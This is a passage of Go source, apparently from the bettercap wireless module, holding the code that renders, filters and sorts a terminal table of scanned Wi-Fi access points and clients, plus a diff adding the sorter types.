encryption = fmt.Sprintf("%s (%s, %s)", station.Encryption, station.Cipher, station.Authentication)
}
if encryption == "OPEN" || encryption == "" {
encryption = tui.Green("OPEN")
ssid = tui.Green(ssid)
bssid = tui.Green(bssid)
} else {
// this is ugly, but necessary in order to have this
// method handle both access point and clients
// transparently
if ap, found := w.Session.WiFi.Get(station.HwAddress); found && (ap.HasHandshakes() || ap.HasPMKID()) {
encryption = tui.Red(encryption)
}
}
sent := ops.Ternary(station.Sent > 0, humanize.Bytes(station.Sent), "").(string)
recvd := ops.Ternary(station.Received > 0, humanize.Bytes(station.Received), "").(string)
if w.source == "" {
for _, frequencies := range w.frequencies {
if frequencies == station.Frequency {
include = true
break
}
}
} else {
include = true
}
if w.isApSelected() {
return []string{
fmt.Sprintf("%d dBm", station.RSSI),
bssid,
strconv.Itoa(station.Channel()),
sent,
recvd,
seen,
}, include
} else {
// this is ugly, but necessary in order to have this
// method handle both access point and clients
// transparently
clients := ""
if ap, found := w.Session.WiFi.Get(station.HwAddress); found {
if ap.NumClients() > 0 {
clients = strconv.Itoa(ap.NumClients())
}
}
wps := ""
if station.HasWPS() {
if ver, found := station.WPS["Version"]; found {
wps = ver
} else {
wps = "✔"
}
if state, found := station.WPS["State"]; found {
if state == "Not Configured" {
wps += " (not configured)"
}
}
wps = tui.Dim(tui.Yellow(wps))
}
return []string{
fmt.Sprintf("%d dBm", station.RSSI),
bssid,
ssid,
encryption,
wps,
strconv.Itoa(station.Channel()),
clients,
sent,
recvd,
seen,
}, include
}
}
func (w *WiFiModule) doFilter(station *network.Station) bool {
if w.selector.Expression == nil {
return true
}
return w.selector.Expression.MatchString(station.BSSID()) ||
w.selector.Expression.MatchString(station.ESSID()) ||
w.selector.Expression.MatchString(station.Alias) ||
w.selector.Expression.MatchString(station.Vendor) ||
w.selector.Expression.MatchString(station.Encryption)
}
func (w *WiFiModule) doSelection() (err error, stations []*network.Station) {
if err = w.selector.Update(); err != nil {
return
}
apSelected := w.isApSelected()
if apSelected {
if ap, found := w.Session.WiFi.Get(w.ap.HwAddress); found {
stations = ap.Clients()
} else {
err = fmt.Errorf("Could not find station %s", w.ap.HwAddress)
return
}
} else {
stations = w.Session.WiFi.Stations()
}
filtered := []*network.Station{}
for _, station := range stations {
if w.doFilter(station) {
filtered = append(filtered, station)
}
}
stations = filtered
switch w.selector.SortField {
case "seen":
sort.Sort(ByWiFiSeenSorter(stations))
case "essid":
sort.Sort(ByEssidSorter(stations))
case "bssid":
sort.Sort(ByBssidSorter(stations))
case "channel":
sort.Sort(ByChannelSorter(stations))
case "clients":
sort.Sort(ByClientsSorter(stations))
case "encryption":
sort.Sort(ByEncryptionSorter(stations))
case "sent":
sort.Sort(ByWiFiSentSorter(stations))
case "rcvd":
sort.Sort(ByWiFiRcvdSorter(stations))
case "rssi":
sort.Sort(ByRSSISorter(stations))
default:
sort.Sort(ByRSSISorter(stations))
}
// default is asc
if w.selector.Sort == "desc" {
// from https://github.com/golang/go/wiki/SliceTricks
for i := len(stations)/2 - 1; i >= 0; i-- {
opp := len(stations) - 1 - i
stations[i], stations[opp] = stations[opp], stations[i]
}
}
if w.selector.Limit > 0 {
limit := w.selector.Limit
max := len(stations)
if limit > max {
limit = max
}
stations = stations[0:limit]
}
return
}
func (w *WiFiModule) colDecorate(colNames []string, name string, dir string) {
for i, c := range colNames {
if c == name {
colNames[i] += " " + dir
break
}
}
}
func (w *WiFiModule) colNames(nrows int) []string {
columns := []string(nil)
if !w.isApSelected() {
columns = []string{"RSSI", "BSSID", "SSID", "Encryption", "WPS", "Ch", "Clients", "Sent", "Recvd", "Seen"}
} else if nrows > 0 {
columns = []string{"RSSI", "BSSID", "Ch", "Sent", "Recvd", "Seen"}
fmt.Printf("\n%s clients:\n", w.ap.HwAddress)
} else {
fmt.Printf("\nNo authenticated clients detected for %s.\n", w.ap.HwAddress)
}
if columns != nil {
switch w.selector.SortField {
case "seen":
w.colDecorate(columns, "Seen", w.selector.SortSymbol)
case "essid":
w.colDecorate(columns, "SSID", w.selector.SortSymbol)
case "bssid":
w.colDecorate(columns, "BSSID", w.selector.SortSymbol)
case "channel":
w.colDecorate(columns, "Ch", w.selector.SortSymbol)
case "clients":
w.colDecorate(columns, "Clients", w.selector.SortSymbol)
case "encryption":
w.colDecorate(columns, "Encryption", w.selector.SortSymbol)
case "sent":
w.colDecorate(columns, "Sent", w.selector.SortSymbol)
case "rcvd":
w.colDecorate(columns, "Recvd", w.selector.SortSymbol)
case "rssi":
w.colDecorate(columns, "RSSI", w.selector.SortSymbol)
}
}
return columns
}
func (w *WiFiModule) showStatusBar() {
w.Session.Queue.Stats.RLock()
defer w.Session.Queue.Stats.RUnlock()
parts := []string{
fmt.Sprintf("%s (ch. %d)", w.Session.Interface.Name(), network.GetInterfaceChannel(w.Session.Interface.Name())),
fmt.Sprintf("%s %s", tui.Red("↑"), humanize.Bytes(w.Session.Queue.Stats.Sent)),
fmt.Sprintf("%s %s", tui.Green("↓"), humanize.Bytes(w.Session.Queue.Stats.Received)),
fmt.Sprintf("%d pkts", w.Session.Queue.Stats.PktReceived),
}
if nErrors := w.Session.Queue.Stats.Errors; nErrors > 0 {
parts = append(parts, fmt.Sprintf("%d errs", nErrors))
}
if nHandshakes := w.Session.WiFi.NumHandshakes(); nHandshakes > 0 {
parts = append(parts, fmt.Sprintf("%d handshakes", nHandshakes))
}
fmt.Printf("\n%s\n\n", strings.Join(parts, " / "))
}
func (w *WiFiModule) Show() (err error) {
var stations []*network.Station
if err, stations = w.doSelection(); err != nil {
return
}
rows := make([][]string, 0)
for _, s := range stations {
if row, include := w.getRow(s); include {
rows = append(rows, row)
}
}
nrows := len(rows)
if nrows > 0 {
tui.Table(os.Stdout, w.colNames(nrows), rows)
}
w.showStatusBar()
w.Session.Refresh()
return nil
}
func (w *WiFiModule) ShowWPS(bssid string) (err error) {
toShow := []*network.Station{}
if bssid == network.BroadcastMac {
for _, station := range w.Session.WiFi.List() {
if station.HasWPS() {
toShow = append(toShow, station.Station)
}
}
} else {
if station, found := w.Session.WiFi.Get(bssid); found {
if station.HasWPS() {
toShow = append(toShow, station.Station)
}
}
}
if len(toShow) == 0 {
return fmt.Errorf("no WPS enabled access points matched the criteria")
}
sort.Sort(ByBssidSorter(toShow))
colNames := []string{"Name", "Value"}
for _, station := range toShow {
ssid := ops.Ternary(station.ESSID() == "<hidden>", tui.Dim(station.ESSID()), station.ESSID()).(string)
rows := [][]string{
[]string{tui.Green("essid"), ssid},
[]string{tui.Green("bssid"), station.BSSID()},
}
keys := []string{}
for name := range station.WPS {
keys = append(keys, name)
}
sort.Strings(keys)
for _, name := range keys {
rows = append(rows, []string{
tui.Green(name),
tui.Yellow(station.WPS[name]),
})
}
tui.Table(os.Stdout, colNames, rows)
}
return nil
}

View file

@ -0,0 +1,100 @@
package wifi
import (
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/session"
)
type ByRSSISorter []*network.Station
func (a ByRSSISorter) Len() int { return len(a) }
func (a ByRSSISorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByRSSISorter) Less(i, j int) bool {
if a[i].RSSI == a[j].RSSI {
return a[i].HwAddress < a[j].HwAddress
}
return a[i].RSSI > a[j].RSSI
}
type ByChannelSorter []*network.Station
func (a ByChannelSorter) Len() int { return len(a) }
func (a ByChannelSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByChannelSorter) Less(i, j int) bool {
return a[i].Frequency < a[j].Frequency
}
type ByEncryptionSorter []*network.Station
func (a ByEncryptionSorter) Len() int { return len(a) }
func (a ByEncryptionSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByEncryptionSorter) Less(i, j int) bool {
if a[i].Encryption == a[j].Encryption {
return a[i].HwAddress < a[j].HwAddress
}
return a[i].Encryption < a[j].Encryption
}
type ByBssidSorter []*network.Station
func (a ByBssidSorter) Len() int { return len(a) }
func (a ByBssidSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByBssidSorter) Less(i, j int) bool {
return a[i].BSSID() < a[j].BSSID()
}
type ByEssidSorter []*network.Station
func (a ByEssidSorter) Len() int { return len(a) }
func (a ByEssidSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByEssidSorter) Less(i, j int) bool {
if a[i].ESSID() == a[j].ESSID() {
return a[i].HwAddress < a[j].HwAddress
}
return a[i].ESSID() < a[j].ESSID()
}
type ByWiFiSeenSorter []*network.Station
func (a ByWiFiSeenSorter) Len() int { return len(a) }
func (a ByWiFiSeenSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByWiFiSeenSorter) Less(i, j int) bool {
return a[i].LastSeen.Before(a[j].LastSeen)
}
type ByWiFiSentSorter []*network.Station
func (a ByWiFiSentSorter) Len() int { return len(a) }
func (a ByWiFiSentSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByWiFiSentSorter) Less(i, j int) bool {
return a[i].Sent < a[j].Sent
}
type ByWiFiRcvdSorter []*network.Station
func (a ByWiFiRcvdSorter) Len() int { return len(a) }
func (a ByWiFiRcvdSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByWiFiRcvdSorter) Less(i, j int) bool {
return a[i].Received < a[j].Received
}
type ByClientsSorter []*network.Station
func (a ByClientsSorter) Len() int { return len(a) }
func (a ByClientsSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
func (a ByClientsSorter) Less(i, j int) bool {
left := 0
right := 0
if ap, found := session.I.WiFi.Get(a[i].HwAddress); found {
left = ap.NumClients()
}
if ap, found := session.I.WiFi.Get(a[j].HwAddress); found {
right = ap.NumClients()
}
if left == right {
return a[i].HwAddress < a[j].HwAddress
}
return left < right
}